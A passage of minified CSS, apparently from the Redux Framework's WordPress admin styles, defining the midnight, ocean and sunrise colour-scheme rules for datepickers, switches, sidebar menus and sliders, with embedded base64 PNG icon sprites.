transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#d92c23;background:#1e2124}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#e14d43}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#363b3f}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#c2c4c5;text-shadow:1px 1px #74787a}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#363b3f;text-shadow:none}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#e14d43;text-shadow:1px 1px #a4231a}.admin-color-midnight .redux-container-image_select .redux-image-select-selected img{border-color:#e14d43}.admin-color-midnight .redux-container-image_select .redux-image-select-selected .tiles{border-color:#e14d43}.admin-color-midnight #redux-footer #redux-share a{color:#e14d43}.admin-color-midnight #redux-footer #redux-share a:hover{color:#a4231a}.admin-color-midnight .select2-results .select2-highlighted{background:#e14d43}.admin-color-midnight .select2-drop-active,.admin-color-midnight .select2-container-multi.select2-container-active .select2-choices,.admin-color-midnight .select2-drop.select2-drop-above.select2-drop-active,.admin-color-midnight .select2-container-active .select2-choice,.admin-color-midnight .select2-container-active .select2-choices,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#e14d43}.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-midnight .noUi-connect{background-color:#e35950 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e8776f), to(#e35950)) !important;background-image:-moz-linear-gradient(top, #e8776f, #e35950) !important;background-image:-ms-linear-gradient(top, #e8776f, #e35950) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e8776f), color-stop(100%, #e35950)) !important;background-image:-webkit-linear-gradient(top, #e8776f, #e35950) !important;background-image:-o-linear-gradient(top, #e8776f, #e35950) !important;background-image:-linear-gradient(top, #e8776f, #e35950) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e8776f', endColorstr='#e35950', GradientType=0) !important}.admin-color-ocean .button.ui-datepicker-current,.admin-color-ocean button.ui-datepicker-close{background-color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker-buttonpane button.ui-datepicker-current{background:#86a988 !important;color:white !important;border:1px solid #547555 !important}.admin-color-ocean .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-ocean .ui-datepicker-header{background-color:#627c83 !important;color:white !important}.admin-color-ocean .ui-datepicker td .ui-state-active{background-color:#a7c0a9 !important;color:white !important}.admin-color-ocean .ui-datepicker td .ui-state-hover{color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker td .ui-state-highlight{background:#9ebaa0 !important;border:1px solid #627c83 !important;color:white !important}.admin-color-ocean .redux-container-switch .cb-disable,.admin-color-ocean .redux-container-switch .cb-enable,.admin-color-ocean .ui-state-default,.admin-color-ocean .ui-widget-content .ui-state-default,.admin-color-ocean .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-ocean .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-ocean .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-ocean .redux-container-switch .cb-enable.selected,.admin-color-ocean .redux-field-container .ui-buttonset .ui-state-active{background-color:#9ebaa0 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b3c9b4), to(#9ebaa0)) !important;background-image:-moz-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-ms-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b3c9b4), color-stop(100%, #9ebaa0)) !important;background-image:-webkit-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-o-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-linear-gradient(top, #b3c9b4, #9ebaa0) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b3c9b4', endColorstr='#9ebaa0', GradientType=0) !important;border-color:#719a74 !important;border-color:#80a583 !important;-webkit-box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-ocean #redux-header{background:#627c83;border-color:#9ebaa0}.admin-color-ocean #redux-header .display_header span{color:#d5dddf}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-ocean .redux-sidebar .redux-group-menu li.active a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild a{color:#627c83}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#86a988;background:#4c6066}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#9ebaa0}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#627c83}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#d5dddf;text-shadow:1px 1px #7e979d}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#627c83;text-shadow:none}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#9ebaa0;text-shadow:1px 1px #658d68}.admin-color-ocean .redux-container-image_select .redux-image-select-selected img{border-color:#9ebaa0}.admin-color-ocean .redux-container-image_select .redux-image-select-selected .tiles{border-color:#9ebaa0}.admin-color-ocean #redux-footer #redux-share a{color:#9ebaa0}.admin-color-ocean #redux-footer #redux-share a:hover{color:#658d68}.admin-color-ocean .select2-results .select2-highlighted{background:#9ebaa0}.admin-color-ocean .select2-drop-active,.admin-color-ocean .select2-container-multi.select2-container-active .select2-choices,.admin-color-ocean .select2-drop.select2-drop-above.select2-drop-active,.admin-color-ocean .select2-container-active .select2-choice,.admin-color-ocean .select2-container-active .select2-choices,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#9ebaa0}.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-ocean .noUi-connect{background-color:#a7c0a9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#bccfbd), to(#a7c0a9)) !important;background-image:-moz-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-ms-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #bccfbd), color-stop(100%, #a7c0a9)) !important;background-image:-webkit-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-o-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-linear-gradient(top, #bccfbd, #a7c0a9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#bccfbd', endColorstr='#a7c0a9', GradientType=0) !important}.admin-color-sunrise .button.ui-datepicker-current,.admin-color-sunrise button.ui-datepicker-close{background-color:#df8a48 !important}.admin-color-sunrise .ui-datepicker-buttonpane button.ui-datepicker-current{background:#cc6c23 !important;color:white !important;border:1px solid #753e14 !important}.admin-color-sunrise .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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